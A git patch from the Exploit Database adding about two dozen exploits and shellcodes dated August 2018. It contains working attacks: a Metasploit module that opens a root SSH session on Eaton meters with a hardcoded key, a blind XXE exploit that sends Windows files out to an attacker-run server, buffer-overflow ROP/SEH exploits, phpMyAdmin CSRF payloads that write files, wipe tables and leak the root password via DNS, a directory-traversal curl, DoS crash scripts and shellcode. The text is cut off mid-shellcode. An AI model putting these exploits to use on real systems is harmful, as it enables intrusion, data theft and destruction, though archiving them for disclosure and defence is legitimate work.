From 444206a6be22e9b4072fbc1567740dde7febf475 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 30 Aug 2018 05:01:54 +0000 Subject: [PATCH] DB: 2018-08-30 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 21 changes to exploits/shellcodes NASA openVSP 3.16.1 - Denial of Service (PoC) Immunity Debugger 1.85 - Denial of Service (PoC) ipPulse 1.92 - 'TCP Port' Denial of Service (PoC) Fathom 2.4 - Denial Of Service (PoC) Skype Empresarial Office 365 16.0.10730.20053 - 'Dirección de inicio de sesión' Denial of service (PoC) Cisco AnyConnect Secure Mobility Client 4.6.01099 - 'Introducir URL' Denial of Service (PoC) HD Tune Pro 5.70 - Denial of Service (PoC) Drive Power Manager 1.10 - Denial Of Service (PoC) Easy PhotoResQ 1.0 - Denial Of Service (PoC) Trillian 6.1 Build 16 - _Sign In_ Denial of service (PoC) SIPP 3.3 - Stack-Based Buffer Overflow R 3.4.4 - Buffer Overflow (SEH) Eaton Xpert Meter 13.4.0.10 - SSH Private Key Disclosure phpMyAdmin 4.7.x - Cross-Site Request Forgery Episerver 7 patch 4 - XML External Entity Injection Argus Surveillance DVR 4.0.0.0 - Directory Traversal Linux/MIPS64 - execve(/bin/sh) Shellcode (48 bytes) Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Shellcode (32 Bytes) Linux/x86 - Dual Network Stack (IPv4 and IPv6) Bind TCP Shellcode Linux/x86 - IPv6 Reverse TCP Shellcode Generator (94 bytes) Windows/x64 (10) - WoW64 Egghunter Shellcode (50 bytes) --- exploits/hardware/remote/45283.rb | 134 +++++++++++++++++++ exploits/hardware/webapps/45286.py | 113 ++++++++++++++++ exploits/ios/dos/45297.py | 23 ++++ exploits/linux/local/45288.py | 131 ++++++++++++++++++ exploits/php/webapps/45284.txt | 35 +++++ exploits/windows/local/45289.py | 73 ++++++++++ exploits/windows_x86-64/dos/45281.py | 36 +++++ exploits/windows_x86-64/dos/45295.py | 19 +++ exploits/windows_x86-64/dos/45301.py | 21 +++ exploits/windows_x86/dos/45282.py | 25 ++++ exploits/windows_x86/dos/45285.py | 26 ++++ exploits/windows_x86/dos/45294.py | 25 ++++ exploits/windows_x86/dos/45298.py | 25 ++++ exploits/windows_x86/dos/45299.py | 25 ++++ exploits/windows_x86/dos/45300.py | 25 ++++ exploits/windows_x86/webapps/45296.txt | 26 ++++ files_exploits.csv | 16 +++ files_shellcodes.csv | 5 + shellcodes/arm/45290.c | 63 +++++++++ shellcodes/linux_mips/45287.c | 56 ++++++++ shellcodes/linux_x86/45291.c | 178 +++++++++++++++++++++++++ shellcodes/linux_x86/45292.py | 81 +++++++++++ shellcodes/windows_x86-64/45293.c | 88 ++++++++++++ 23 files changed, 1249 insertions(+) create mode 100755 exploits/hardware/remote/45283.rb create mode 100755 exploits/hardware/webapps/45286.py create mode 100755 exploits/ios/dos/45297.py create mode 100755 exploits/linux/local/45288.py create mode 100644 exploits/php/webapps/45284.txt create mode 100755 exploits/windows/local/45289.py create mode 100755 exploits/windows_x86-64/dos/45281.py create mode 100755 exploits/windows_x86-64/dos/45295.py create mode 100755 exploits/windows_x86-64/dos/45301.py create mode 100755 exploits/windows_x86/dos/45282.py create mode 100755 exploits/windows_x86/dos/45285.py create mode 100755 exploits/windows_x86/dos/45294.py create mode 100755 exploits/windows_x86/dos/45298.py create mode 100755 exploits/windows_x86/dos/45299.py create mode 100755 exploits/windows_x86/dos/45300.py create mode 100644 exploits/windows_x86/webapps/45296.txt create mode 100644 shellcodes/arm/45290.c create mode 100644 shellcodes/linux_mips/45287.c create mode 100644 shellcodes/linux_x86/45291.c create mode 100755 shellcodes/linux_x86/45292.py create mode 100644 shellcodes/windows_x86-64/45293.c diff --git a/exploits/hardware/remote/45283.rb b/exploits/hardware/remote/45283.rb new file mode 100755 index 000000000..30c760256 --- /dev/null +++ b/exploits/hardware/remote/45283.rb @@ -0,0 +1,134 @@ +# Exploit Title: Eaton Xpert Meter 13.4.0.10 - SSH Private Key Disclosure +# Date: 2018-07-16 +# WebPage: https://CTRLu.net/ +# Vendor Homepage: http://www.eaton.com/ +# Vendor Advisory: http://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf +# Software Link: http://www.eaton.com/Eaton/ProductsServices/Electrical/ProductsandServices/PowerQualityandMonitoring/PowerandEnergyMeters/PowerXpertMeter400060008000/index.htm#tabs-2 +# Version: Firmware <= 12.x and <= 13.3.x.x and below more versions may be impacted +# Recomended to update to Version 13.4.0.10 or above +# Tested on: Firmware 12.1.9.1 and 13.3.2.10 +# CVE : N/A + +# XXX: This shouldn't be necessary but is now +require 'net/ssh/command_stream' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::SSH + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::CommandShell + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Eaton Xpert Meter SSH Private Key Exposure Scanner', + 'Description' => %q{ + Eaton Power Xpert Meters are used across industries for energy management, + monitoring circuit loading, and identifying power quality problems. + Meters running firmware 12.x.x.x or below version 13.3.x.x and below ship with + a public/private key pair on Power Xpert Meter hardware that allows + passwordless authentication to any other affected Power Xpert Meter. + The vendor recommends updating to Version 13.4.0.10 or above. As the key is + easily retrievable, an attacker can use it to gain unauthorized remote + access as uid0 + }, + 'Author' => [ + 'BrianWGray' + ], + 'References' => [ + ['URL', 'http://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf'], + ['URL', 'https://www.ctrlu.net/vuln/0006.html'] + ], + 'DisclosureDate' => 'Jul 18 2018', + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(22) + ]) + + register_advanced_options([ + OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]), + OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10]) + ]) + end + + def run_host(ip) + factory = ssh_socket_factory + + ssh_opts = { + auth_methods: ['publickey'], + port: rport, + key_data: [ key_data ], + hmac: ['hmac-sha1'], + encryption: ['aes128-cbc'], + kex: ['diffie-hellman-group1-sha1'], + host_key: ['ssh-rsa'], + use_agent: false, + config: false, + proxy: factory + } + + ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] + + begin + ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do + Net::SSH.start(ip, 'admin', ssh_opts) + end + rescue Net::SSH::Exception => e + vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}") + return + end + + return unless ssh + + print_good("#{ip}:#{rport} - Logged in as admin") + + version = ssh.transport.server_version.version + + report_vuln( + host: ip, + name: self.name, + refs: self.references, + info: version + ) + + shell = Net::SSH::CommandStream.new(ssh) + + return unless shell + + info = "Eaton Xpert Meter SSH Backdoor (#{version})" + + ds_merge = { + 'USERNAME' => 'admin' + } + + start_session(self, info, ds_merge, false, shell.lsock) + + # XXX: Ruby segfaults if we don't remove the SSH socket + remove_socket(ssh.transport.socket) + end + + def rport + datastore['RPORT'] + end + + def key_data + < [file-to-read] + +#!/usr/bin/python + +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +import urllib +import re +import sys +import time +import threading +import socket + +SERVER_SOCKET = ('0.0.0.0', 8000) +EXFIL_FILE = 'file:///c:/windows/win.ini' + +# The public facing IP. Change this +RHOST = '1.2.3.4:' + str(SERVER_SOCKET[1]) + +EXFILTRATED_EVENT = threading.Event() + +class BlindXXEServer(BaseHTTPRequestHandler): + + def response(self, **data): + code = data.get('code', 200) + content_type = data.get('content_type', 'text/plain') + body = data.get('body', '') + + self.send_response(code) + self.send_header('Content-Type', content_type) + self.end_headers() + self.wfile.write(body.encode('utf-8')) + self.wfile.close() + + def do_GET(self): + self.request_handler(self) + + def do_POST(self): + self.request_handler(self) + + def log_message(self, format, *args): + return + + def request_handler(self, request): + global EXFILTRATED_EVENT + + path = urllib.unquote(request.path).decode('utf8') + m = re.search('\/\?exfil=(.*)', path, re.MULTILINE) + if m and request.command.lower() == 'get': + data = path[len('/?exfil='):] + print 'Exfiltrated %s:' % EXFIL_FILE + print '-' * 30 + print urllib.unquote(data).decode('utf8') + print '-' * 30 + '\n' + self.response(body='true') + + EXFILTRATED_EVENT.set() + + elif request.path.endswith('.dtd'): + print 'Sending malicious DTD file.' + dtd = ''' +"> +%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST} + + self.response(content_type='text/xml', body=dtd) + + else: + print '[INFO] %s %s' % (request.command, request.path) + self.response(body='false') + +def send_stage1(target): + content = '''&exfil;''' + payload = '''POST /util/xmlrpc/Handler.ashx?pageid=1023 HTTP/1.1 +Host: ''' + target + ''' +User-Agent: curl/7.54.0 +Accept: */* +Content-Length: ''' + str(len(content)) + ''' +Content-Type: application/x-www-form-urlencoded +Connection: close + +''' + content + + print "Sending payload.." + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + port = 80 + s.connect((target,port)) + s.send(payload) + +def main(target): + server = HTTPServer(SERVER_SOCKET, BlindXXEServer) + thread = threading.Thread(target=server.serve_forever) + thread.daemon = True + thread.start() + send_stage1(target) + + while not EXFILTRATED_EVENT.is_set(): + pass + +if __name__ == '__main__': + if len(sys.argv) > 1: + target = sys.argv[1] + if len(sys.argv) > 2: + EXFIL_FILE = sys.argv[2] + main(target) \ No newline at end of file diff --git a/exploits/ios/dos/45297.py b/exploits/ios/dos/45297.py new file mode 100755 index 000000000..902e8316e --- /dev/null +++ b/exploits/ios/dos/45297.py @@ -0,0 +1,23 @@ +# Exploit Title: Cisco AnyConnect Secure Mobility Client 4.6.01099 - 'Introducir URL' Denial of Service (PoC) +# Discovery by: Luis Martinez +# Discovery Date: 2018-08-29 +# Vendor Homepage: https://www.cisco.com/ +# Software Link: App Store for iOS devices +# Tested Version: 4.6.01099 +# Vulnerability Type: Denial of Service (DoS) Local +# Tested on OS: iPhone 7 iOS 11.4.1 + +# Steps to Produce the Crash: +# 1.- Run python code: Cisco_AnyConnect_Secure_Mobility_Client_4.6.01099.py +# 2.- Copy content to clipboard +# 3.- Open App Cisco AnyConnect Secure Mobility Client +# 4.- Diagnosticos +# 5.- Certificados +# 6.- Importar certificado de usuario... +# 7.- Paste ClipBoard on "Introducir URL" +# 8.- Crashed + +#!/usr/bin/env python + +buffer = "\x41" * 12380000 +print (buffer) \ No newline at end of file diff --git a/exploits/linux/local/45288.py b/exploits/linux/local/45288.py new file mode 100755 index 000000000..22668e616 --- /dev/null +++ b/exploits/linux/local/45288.py @@ -0,0 +1,131 @@ +# Exploit Author: Juan Sacco - http://exploitpack.com +# +# Tested on: Kali i686 GNU/Linux +# +# Description: SIPP 3.3 is prone to a local unauthenticated stack-based overflow +# The vulnerability is due to an unproper filter of user suppliedinput while reading +# the configuration file and parsing the malicious crafted value. +# +# Program: SIPP 3.3 Traffic generator for the SIP protocol +# SIPp is a free Open Source test tool / traffic generator +# for the SIP protocol. Filename: pool/main/s/sipp/sipp_3.3-1kali2_i386.deb +# +# Vendor: http://sipp.sourceforge.net/ +# gdb-peda$ checksec +# CANARY : disabled +# FORTIFY : disabled +# NX : ENABLED +# PIE : ENABLED +# RELRO : Partial +# +#[----------------------------------registers-----------------------------------] +# EAX: 0x41414141 ('AAAA') +# EBX: 0x25 ('%') +# ECX: 0xb7c9e340 --> 0x4cf8b0 ('A' ...) +# EDX: 0xb7c9e200 --> 0x0 +# ESI: 0xb7ca0748 --> 0x0 +# EDI: 0x0 +# EBP: 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c +# ESP: 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c +# EIP: 0x43cdcf (mov eax,DWORD PTR [eax+0xc]) +# EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPTdirection overflow) +# [-------------------------------------code-------------------------------------] +# 0x43cdc2: call 0x4053e6 +# 0x43cdc7: add eax,0x50239 +# 0x43cdcc: mov eax,DWORD PTR [ebp+0x8] +# => 0x43cdcf: mov eax,DWORD PTR [eax+0xc] +# 0x43cdd2: pop ebp +# 0x43cdd3: ret +# 0x43cdd4: push ebp +# 0x43cdd5: mov ebp,esp +# [------------------------------------stack-------------------------------------] +# 0000| 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c +# 0004| 0xbfffc89c --> 0x43c159 (add esp,0x10) +# 0008| 0xbfffc8a0 ("AAAA\377\377\377\377\310\310\377\277C\301C") +# 0012| 0xbfffc8a4 --> 0xffffffff +# 0016| 0xbfffc8a8 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c +# 0020| 0xbfffc8ac --> 0x43c143 (add eax,0x50ebd) +# 0024| 0xbfffc8b0 --> 0x597ba0 --> 0x0 +# 0028| 0xbfffc8b4 --> 0xffffffff +# [------------------------------------------------------------------------------] +# Legend: code, data, rodata, value +# Stopped reason: SIGSEGV +# 0x41414141 in ?? () + +import os, subprocess +from struct import pack + +# rop execve ( bin/sh ) +rop = "A"*2208 # junk +rop += pack('Hello World

+ + +# Exploit CSRF - Arbitrary File Write + +

Hello World

+ + +# Exploit CSRF - Data Retrieval over DNS + +SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE +user='root' LIMIT 1),'.vulnspy.com\\test')); + +# Exploit CSRF - Empty All Rows From All Tables + +

Hello World

+ \ No newline at end of file diff --git a/exploits/windows/local/45289.py b/exploits/windows/local/45289.py new file mode 100755 index 000000000..ec037ab56 --- /dev/null +++ b/exploits/windows/local/45289.py @@ -0,0 +1,73 @@ +#--------------------------------------------------------# +#Exploit Title: R v3.4.4 - (SEH) Buffer Overflow Exploit +#Exploit Author : ZwX +#Exploit Date: 2018-08-22 +#Vendor Homepage : https://www.r-project.org/ +#Tested on OS: Windows 7 +#Social: twitter.com/ZwX2a +#contact: msk4@live.fr +#Website: http://zwx-pentester.fr/ +#--------------------------------------------------------# + + +#Technical Details & Description: +#================================ +'''A local buffer overflow vulnerability has been discovered in the official R v3.4.4 software. +The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process. +The issue can be exploited by local attackers with system privileges to compromise the affected local computer system. +The vulnerability is marked as classic buffer overflow issue''' + + +# Manual steps to reproduce the vulnerability: under GUI preferences +# paste bo.txt contents into 'Language for menus and messages' click ok --> Now the calculator executes! + + +#!/usr/bin/python + +from struct import pack +buffer = "x41" * 900 +a = "\xeb\x14\x90\x90" +b = pack(""Open". +# Now change the "Files of type" to # "Any file" and select "exploit.exe.txt" . +# Click "Open" and you will see a crash. + +#!/usr/bin/python + +buffer = "A" * 6000 + +payload = buffer +try: + f=open("exploit.exe.txt","w") + print "[+] Creating %s bytes evil payload.." %len(payload) + f.write(payload) + f.close() + print "[+] File created!" +except: + print "File cannot be created" \ No newline at end of file diff --git a/exploits/windows_x86/dos/45285.py b/exploits/windows_x86/dos/45285.py new file mode 100755 index 000000000..93bfb1fa8 --- /dev/null +++ b/exploits/windows_x86/dos/45285.py @@ -0,0 +1,26 @@ +# Exploit Title: ipPulse 1.92 - 'TCP Port' Denial of Service (PoC) +# Discovery by: Diego Santamaria +# Discovery Date: 2018-08-28 +# Vendor Homepage: https://www.netscantools.com/ippulseinfo.html +# Software Link: http://download.netscantools.com/ipls192.zip +# Tested Version: 1.92 +# Vulnerability Type: Denial of Service (DoS) Local +# Tested on OS: Windows 7 Professional + +# Steps to Reproduce: + +# 1. Run the python code TCP_port.py +# 2. Open TCP_exploit.txt and copy the content +# 3. Open ipPulse.exe +# 4. Choose 'Target Editor' +# 5. write '1' in 'IP Adreess' +# 6. Paste the content from exploit.txt on 'TCP Port' +# 7. Press 'Add Above Fields to Target List' +# 8. Press ok and Crashed + +#!/usr/bin/env python + +content = "\x41" * 4087 +f = open ("TCP_exploit.txt", "w") +f.write(content) +f.close() \ No newline at end of file diff --git a/exploits/windows_x86/dos/45294.py b/exploits/windows_x86/dos/45294.py new file mode 100755 index 000000000..3216046c2 --- /dev/null +++ b/exploits/windows_x86/dos/45294.py @@ -0,0 +1,25 @@ +# Exploit Title: Fathom 2.4 - Denial Of Service (PoC) +# Author: Gionathan "John" Reale +# Discovey Date: 2018-08-28 +# Homepage: https://fathom.concord.org/ +# Software Link: https://fathom.concord.org/download/ +# Tested Version: v2.4 +# Tested on OS: Windows 7 32-bit +# Steps to Reproduce: Run the python exploit script, it will create a new +# file with the name "exploit.txt". Copy the content of the new file "exploit.txt". +# Now start the program, in the field named: "Authorization Code" paste the "exploit.txt" content copied eariler. +# Click "Activate" and see a crash! + +#!/usr/bin/python + +buffer = "A" * 6000 + +payload = buffer +try: + f=open("exploit.txt","w") + print "[+] Creating %s bytes evil payload.." %len(payload) + f.write(payload) + f.close() + print "[+] File created!" +except: + print "File cannot be created" \ No newline at end of file diff --git a/exploits/windows_x86/dos/45298.py b/exploits/windows_x86/dos/45298.py new file mode 100755 index 000000000..9a7fdcc8c --- /dev/null +++ b/exploits/windows_x86/dos/45298.py @@ -0,0 +1,25 @@ +# Exploit Title: HD Tune Pro 5.70 - Denial Of Service (PoC) +# Author: Gionathan "John" Reale +# Discovey Date: 2018-08-29 +# Homepage: https://www.hdtune.com/ +# Software Link: https://www.hdtune.com/download.html +# Tested Version: v5.70 +# Tested on OS: Windows 7 32-bit +# Steps to Reproduce: Run the python exploit script, it will create a new +# file with the name "exploit.txt". Copy the content of the new file "exploit.txt". +# Now start the program, when inside the program click "File" > "Options.." > "Save". Now in the field named: "Folder / file name" paste the "exploit.txt" content copied eariler. +# Click "Apply" > "OK" and see a crash! + +#!/usr/bin/python + +buffer = "A" * 6000 + +payload = buffer +try: + f=open("exploit.txt","w") + print "[+] Creating %s bytes evil payload.." %len(payload) + f.write(payload) + f.close() + print "[+] File created!" +except: + print "File cannot be created" \ No newline at end of file diff --git a/exploits/windows_x86/dos/45299.py b/exploits/windows_x86/dos/45299.py new file mode 100755 index 000000000..68cfec9aa --- /dev/null +++ b/exploits/windows_x86/dos/45299.py @@ -0,0 +1,25 @@ +# Exploit Title: Drive Power Manager 1.10 - Denial Of Service (PoC) +# Author: Gionathan "John" Reale +# Discovey Date: 2018-08-29 +# Homepage: https://www.hdtune.com/ +# Software Link: https://www.hdtune.com/download.html +# Tested Version: v1.10 +# Tested on OS: Windows 7 32-bit +# Steps to Reproduce: Run the python exploit script, it will create a new +# file with the name "exploit.txt". Copy the content of the new file "exploit.txt". +# Now start the program. Now in the field named: "Name" paste the "exploit.txt" content copied eariler. +# Click "Register" and see a crash! + +#!/usr/bin/python + +buffer = "A" * 6000 + +payload = buffer +try: + f=open("exploit.txt","w") + print "[+] Creating %s bytes evil payload.." %len(payload) + f.write(payload) + f.close() + print "[+] File created!" +except: + print "File cannot be created" \ No newline at end of file diff --git a/exploits/windows_x86/dos/45300.py b/exploits/windows_x86/dos/45300.py new file mode 100755 index 000000000..04879dff0 --- /dev/null +++ b/exploits/windows_x86/dos/45300.py @@ -0,0 +1,25 @@ +# Exploit Title: Easy PhotoResQ 1.0 - Denial Of Service (PoC) +# Author: Gionathan "John" Reale +# Discovey Date: 2018-08-29 +# Homepage: https://www.hdtune.com/ +# Software Link: https://www.hdtune.com/download.html +# Tested Version: v1.0 +# Tested on OS: Windows 7 32-bit +# Steps to Reproduce: Run the python exploit script, it will create a new +# file with the name "exploit.txt". Copy the content of the new file "exploit.txt". +# Now start the program. Now when you are inside of the program click "File" > "Options". In the field: "Folder / filename" paste the copied content from "exploit.txt". +# Now click "OK" and see a crash! + +#!/usr/bin/python + +buffer = "A" * 6000 + +payload = buffer +try: + f=open("exploit.txt","w") + print "[+] Creating %s bytes evil payload.." %len(payload) + f.write(payload) + f.close() + print "[+] File created!" +except: + print "File cannot be created" \ No newline at end of file diff --git a/exploits/windows_x86/webapps/45296.txt b/exploits/windows_x86/webapps/45296.txt new file mode 100644 index 000000000..ac6f4add9 --- /dev/null +++ b/exploits/windows_x86/webapps/45296.txt @@ -0,0 +1,26 @@ +# Exploit: Argus Surveillance DVR 4.0.0.0 - Directory Traversal +# Author: John Page (aka hyp3rlinx) +# Date: 2018-08-28 +# Vendor: www.argussurveillance.com +# Software Link: http://www.argussurveillance.com/download/DVR_stp.exe +# CVE: N/A + +# Description: +# Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal, +# leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter. + +# PoC + +curl "http://VICTIM-IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD=" + +# Result: + +; for 16-bit app support +woafont=dosapp.fon +EGA80WOA.FON=EGA80WOA.FON +EGA40WOA.FON=EGA40WOA.FON +CGA80WOA.FON=CGA80WOA.FON +CGA40WOA.FON=CGA40WOA.FON + +wave=mmdrv.dll +timer=timer.drv \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 9e6e70620..1c17f93fe 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6074,6 +6074,16 @@ id,file,description,date,author,type,platform,port 45275,exploits/windows/dos/45275.py,"Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)",2018-08-28,"Luis Martínez",dos,windows, 45277,exploits/windows_x86-64/dos/45277.py,"Instagram App 41.1788.50991.0 - Denial of Service (PoC)",2018-08-28,"Ali Alipour",dos,windows_x86-64, 45279,exploits/windows/dos/45279.html,"Microsoft Windows - JScript RegExp.lastIndex Use-After-Free",2018-08-28,"Google Security Research",dos,windows, +45281,exploits/windows_x86-64/dos/45281.py,"NASA openVSP 3.16.1 - Denial of Service (PoC)",2018-08-29,L0RD,dos,windows_x86-64, +45282,exploits/windows_x86/dos/45282.py,"Immunity Debugger 1.85 - Denial of Service (PoC)",2018-08-29,"Gionathan Reale",dos,windows_x86, +45285,exploits/windows_x86/dos/45285.py,"ipPulse 1.92 - 'TCP Port' Denial of Service (PoC)",2018-08-29,"Diego Santamaria",dos,windows_x86, +45294,exploits/windows_x86/dos/45294.py,"Fathom 2.4 - Denial Of Service (PoC)",2018-08-29,"Gionathan Reale",dos,windows_x86, +45295,exploits/windows_x86-64/dos/45295.py,"Skype Empresarial Office 365 16.0.10730.20053 - 'Dirección de inicio de sesión' Denial of service (PoC)",2018-08-29,"Samuel Cruz",dos,windows_x86-64, +45297,exploits/ios/dos/45297.py,"Cisco AnyConnect Secure Mobility Client 4.6.01099 - 'Introducir URL' Denial of Service (PoC)",2018-08-29,"Luis Martínez",dos,ios, +45298,exploits/windows_x86/dos/45298.py,"HD Tune Pro 5.70 - Denial of Service (PoC)",2018-08-29,"Gionathan Reale",dos,windows_x86, +45299,exploits/windows_x86/dos/45299.py,"Drive Power Manager 1.10 - Denial Of Service (PoC)",2018-08-29,"Gionathan Reale",dos,windows_x86, +45300,exploits/windows_x86/dos/45300.py,"Easy PhotoResQ 1.0 - Denial Of Service (PoC)",2018-08-29,"Gionathan Reale",dos,windows_x86, +45301,exploits/windows_x86-64/dos/45301.py,"Trillian 6.1 Build 16 - _Sign In_ Denial of service (PoC)",2018-08-29,"Jose Miguel Gonzalez",dos,windows_x86-64, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -9912,6 +9922,8 @@ id,file,description,date,author,type,platform,port 45269,exploits/windows/local/45269.rb,"Foxit PDF Reader 9.0.1.1049 - Pointer Overwrite Use-After-Free (Metasploit)",2018-08-27,Metasploit,local,windows, 45278,exploits/windows_x86-64/local/45278.py,"UltraISO 9.7.1.3519 - Buffer Overflow (SEH)",2018-08-28,"Shubham Singh",local,windows_x86-64, 45280,exploits/windows/local/45280.txt,"Microsoft Windows - Advanced Local Procedure Call (ALPC) Local Privilege Escalation",2018-08-28,SandboxEscaper,local,windows, +45288,exploits/linux/local/45288.py,"SIPP 3.3 - Stack-Based Buffer Overflow",2018-08-29,"Juan Sacco",local,linux, +45289,exploits/windows/local/45289.py,"R 3.4.4 - Buffer Overflow (SEH)",2018-08-29,ZwX,local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -16738,6 +16750,7 @@ id,file,description,date,author,type,platform,port 45265,exploits/linux/remote/45265.js,"Node.JS - 'node-serialize' Remote Code Execution",2017-02-08,OpSecX,remote,linux, 45272,exploits/multiple/remote/45272.txt,"Electron WebPreferences - Remote Code Execution",2018-08-27,"Matt Austin",remote,multiple, 45273,exploits/unix/remote/45273.rb,"HP Jetdirect - Path Traversal Arbitrary Code Execution (Metasploit)",2018-08-27,Metasploit,remote,unix, +45283,exploits/hardware/remote/45283.rb,"Eaton Xpert Meter 13.4.0.10 - SSH Private Key Disclosure",2018-08-29,BrianWGray,remote,hardware, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -39879,3 +39892,6 @@ id,file,description,date,author,type,platform,port 45270,exploits/hardware/webapps/45270.txt,"Seagate Personal Cloud SRN21C 4.3.16.0 / 4.3.18.0 - SQL Injection",2018-08-27,"Yorick Koster",webapps,hardware, 45271,exploits/php/webapps/45271.txt,"Responsive FileManager < 9.13.4 - Directory Traversal",2018-08-27,"Simon Uvarov",webapps,php,80 45274,exploits/php/webapps/45274.html,"WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection",2018-08-27,"Lydéric Lefebvre",webapps,php,80 +45284,exploits/php/webapps/45284.txt,"phpMyAdmin 4.7.x - Cross-Site Request Forgery",2018-08-29,VulnSpy,webapps,php,80 +45286,exploits/hardware/webapps/45286.py,"Episerver 7 patch 4 - XML External Entity Injection",2018-08-29,"Jonas Lejon",webapps,hardware, +45296,exploits/windows_x86/webapps/45296.txt,"Argus Surveillance DVR 4.0.0.0 - Directory Traversal",2018-08-29,hyp3rlinx,webapps,windows_x86, diff --git a/files_shellcodes.csv b/files_shellcodes.csv index f9a628d2e..140f8924c 100644 --- a/files_shellcodes.csv +++ b/files_shellcodes.csv @@ -901,3 +901,8 @@ id,file,description,date,author,type,platform 45139,shellcodes/linux_x86/45139.c,"Linux/x86 - Reverse TCP (::FFFF:192.168.1.5:4444/TCP) Shell (/bin/sh) + Null-Free + IPv6 Shellcode (86 bytes)",2018-08-03,"Kartik Durg",shellcode,linux_x86 45144,shellcodes/arm/45144.c,"Linux/ARM - Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode (128 Bytes)",2018-08-03,"Ken Kitahara",shellcode,arm 45185,shellcodes/linux_x86-64/45185.asm,"Linux/x64 - Add Root User (toor/toor) Shellcode (99 bytes)",2018-08-13,epi,shellcode,linux_x86-64 +45287,shellcodes/linux_mips/45287.c,"Linux/MIPS64 - execve(/bin/sh) Shellcode (48 bytes)",2018-08-29,antonio,shellcode,linux_mips +45290,shellcodes/arm/45290.c,"Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Shellcode (32 Bytes)",2018-08-29,"Ken Kitahara",shellcode,arm +45291,shellcodes/linux_x86/45291.c,"Linux/x86 - Dual Network Stack (IPv4 and IPv6) Bind TCP Shellcode",2018-08-29,"Kevin Kirsche",shellcode,linux_x86 +45292,shellcodes/linux_x86/45292.py,"Linux/x86 - IPv6 Reverse TCP Shellcode Generator (94 bytes)",2018-08-29,"Kevin Kirsche",shellcode,linux_x86 +45293,shellcodes/windows_x86-64/45293.c,"Windows/x64 (10) - WoW64 Egghunter Shellcode (50 bytes)",2018-08-29,n30m1nd,shellcode,windows_x86-64 diff --git a/shellcodes/arm/45290.c b/shellcodes/arm/45290.c new file mode 100644 index 000000000..5171fda93 --- /dev/null +++ b/shellcodes/arm/45290.c @@ -0,0 +1,63 @@ +/* +Title: Linux/ARM - execve("/bin/sh", ["/bin/sh"], NULL) Shellcode (32 Bytes) +Date: 2018-08-16 +Tested: armv7l (Raspberry Pi 3 Model B+) +Author: Ken Kitahara + +pi@raspberrypi:~ $ uname -a +Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux +pi@raspberrypi:~ $ lsb_release -a +No LSB modules are available. +Distributor ID: Raspbian +Description: Raspbian GNU/Linux 9.4 (stretch) +Release: 9.4 +Codename: stretch +pi@raspberrypi:~ $ cat binsh.s +.section .text +.global _start + +_start: + .ARM + add r3, pc, #1 + 